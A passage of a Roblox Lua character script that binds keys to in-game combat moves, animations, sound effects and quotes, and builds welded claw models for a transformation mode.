2741 | if attack==false and attacktype==1 then | |
2742 | attacktype=2 | |
2743 | attackone() | |
2744 | elseif attack==false and attacktype==2 then | |
2745 | attacktype=3 | |
2746 | attacktwo() | |
2747 | elseif attack==false and attacktype==3 then | |
2748 | attacktype=4 | |
2749 | attackthree() | |
2750 | elseif attack==false and attacktype==4 then | |
2751 | attacktype=1 | |
2752 | attackfour() | |
2753 | end | |
2754 | end) | |
2755 | ||
2756 | mouse.KeyDown:connect(function(k) | |
2757 | k=k:lower() | |
2758 | if k=='e' then | |
2759 | if attack==false and mana>=20 then | |
2760 | Push() | |
2761 | end | |
2762 | elseif k=='g' then | |
2763 | if attack==false and mana>=50 then | |
2764 | Twirl() | |
2765 | end | |
2766 | elseif k=='v' then | |
2767 | if attack==false and mana>=25 then | |
2768 | MagicJump() | |
2769 | end | |
2770 | elseif k=='c' then | |
2771 | if attack==false then | |
2772 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2773 | attack=true | |
2774 | for i = 1, 40 do | |
2775 | swait() | |
2776 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2777 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2778 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2779 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2780 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2781 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2782 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2783 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2784 | end | |
2785 | Blaze() | |
2786 | attack = false | |
2787 | end | |
2788 | end | |
2789 | elseif k=='x' then | |
2790 | if attack==false then | |
2791 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2792 | attack=true | |
2793 | for i = 1, 15 do | |
2794 | swait() | |
2795 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2796 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2797 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2798 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2799 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2800 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2801 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2802 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2803 | end | |
2804 | so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35) | |
2805 | so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65) | |
2806 | for i = 0, 30 do | |
2807 | BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5) | |
2808 | wait(0.1) | |
2809 | end | |
2810 | local parteffected = Instance.new("Part",tors) | |
2811 | parteffected.Transparency = 1 | |
2812 | parteffected.Position = tors.Position | |
2813 | parteffected.CanCollide = false | |
2814 | parteffected.Anchored = true | |
2815 | so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5) | |
2816 | so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4) | |
2817 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15) | |
2818 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05) | |
2819 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05) | |
2820 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30) | |
2821 | local sbs = Instance.new("BodyPosition", RootPart) | |
2822 | sbs.P = 3000 | |
2823 | sbs.D = 1000 | |
2824 | sbs.maxForce = Vector3.new(500000, 500000000, 500000) | |
2825 | sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0) | |
2826 | for i = 1, 40 do | |
2827 | swait() | |
2828 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2829 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2830 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2831 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2832 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2833 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2834 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2835 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2836 | end | |
2837 | wait(3) | |
2838 | Blaze2() | |
2839 | attack = false | |
2840 | parteffected:Destroy() | |
2841 | sbs:Destroy() | |
2842 | end | |
2843 | end | |
2844 | elseif k=='q' then | |
2845 | if attack==false then | |
2846 | so("http://www.roblox.com/asset/?id=180456209",char,0.5,2.75) | |
2847 | idle=1000 | |
2848 | randomquote = math.random(1,10) | |
2849 | if randomquote == 1 then | |
2850 | text.Text = "wh..?~" | |
2851 | elseif randomquote == 2 then | |
2852 | text.Text = "heheh?~" | |
2853 | elseif randomquote == 3 then | |
2854 | text.Text = "uh..?~" | |
2855 | elseif randomquote == 4 then | |
2856 | text.Text = "w-why are you l-looking..?~" | |
2857 | elseif randomquote == 5 then | |
2858 | text.Text = "..?~" | |
2859 | elseif randomquote == 6 then | |
2860 | text.Text = "Why looking me like that~" | |
2861 | elseif randomquote == 7 then | |
2862 | text.Text = "oh.~" | |
2863 | elseif randomquote == 8 then | |
2864 | text.Text = "ready to die sweetie" | |
2865 | elseif randomquote == 9 then | |
2866 | text.Text = ":3" | |
2867 | elseif randomquote == 10 then | |
2868 | text.Text = "well..?~" | |
2869 | end | |
2870 | end | |
2871 | elseif k=='h' then | |
2872 | if attack==false then | |
2873 | mana=100 | |
2874 | end | |
2875 | elseif k=='y' then | |
2876 | if attack==false and mana>=100 then | |
2877 | Shred() | |
2878 | end | |
2879 | elseif k=='f' then | |
2880 | if attack==false and mana>=40 then | |
2881 | Spin() | |
2882 | end | |
2883 | elseif k=='r' then | |
2884 | if attack==false and mana>=20 then | |
2885 | Clap() | |
2886 | end | |
2887 | elseif k=='t' then | |
2888 | if attack==false then | |
2889 | Hai() | |
2890 | end | |
2891 | elseif k=='0' then | |
2892 | if attack==false then | |
2893 | Humanoid.WalkSpeed=(24) | |
2894 | end | |
2895 | elseif k=='j' then | |
2896 | if attack==false then | |
2897 | Humanoid.Health = 10 | |
2898 | print("Congrats, you commited suicide.") | |
2899 | end | |
2900 | end | |
2901 | end) | |
2902 | ||
2903 | mouse.KeyDown:connect(function(k) | |
2904 | if k == "z" and Ultramode == false then | |
2905 | if attack==false then | |
2906 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2907 | attack = true | |
2908 | for i = 1, 15 do | |
2909 | swait() | |
2910 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2911 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2912 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2913 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2914 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2915 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2916 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2917 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2918 | end | |
2919 | m:Destroy() | |
2920 | local m = Instance.new("Model", Character) | |
2921 | m.Name = "WeaponModel" | |
2922 | local parta = Instance.new("Part",Character) | |
2923 | parta.Size = vt(10,10,10) | |
2924 | parta.BrickColor = BrickColor.new("Really black") | |
2925 | parta.Material = "Neon" | |
2926 | parta.Shape = "Ball" | |
2927 | parta.Transparency = 0 | |
2928 | parta.Anchored = true | |
2929 | parta.CanCollide = false | |
2930 | parta.CFrame = tors.CFrame | |
2931 | Transform() | |
2932 | parta:Destroy() | |
2933 | ||
2934 | local modelzorzz=Instance.new("Model") | |
2935 | modelzorzz.Parent=Character | |
2936 | modelzorzz.Name="Claw1" | |
2937 | ||
2938 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
2939 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2940 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2941 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2942 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2943 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2944 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2945 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2946 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2947 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2948 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2949 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2950 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2951 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2952 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2953 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2954 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2955 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2956 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2957 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2958 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2959 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2960 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2961 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2962 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2963 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2964 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2965 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2966 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2967 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2968 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2969 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2970 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2971 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2972 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2973 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2974 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2975 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2976 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2977 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2978 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2979 | ||
2980 | local modelzorzz2=Instance.new("Model") | |
2981 | modelzorzz2.Parent=Character | |
2982 | modelzorzz2.Name="Claw2" | |
2983 | ||
2984 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
2985 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2986 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2987 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2988 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2989 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2990 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2991 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2992 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2993 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2994 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2995 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2996 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2997 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2998 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2999 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3000 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
3001 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3002 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
3003 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3004 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3005 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
3006 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3007 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
3008 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3009 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3010 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
3011 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
3012 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
3013 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
3014 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3015 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
3016 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3017 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
3018 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3019 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
3020 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
3021 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
3022 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
3023 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
3024 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
3025 | ||
3026 | local modelzorzz3=Instance.new("Model") | |
3027 | modelzorzz3.Parent=Character | |
3028 | modelzorzz3.Name="Eye" | |
3029 | ||
3030 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3031 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
3032 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
3033 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
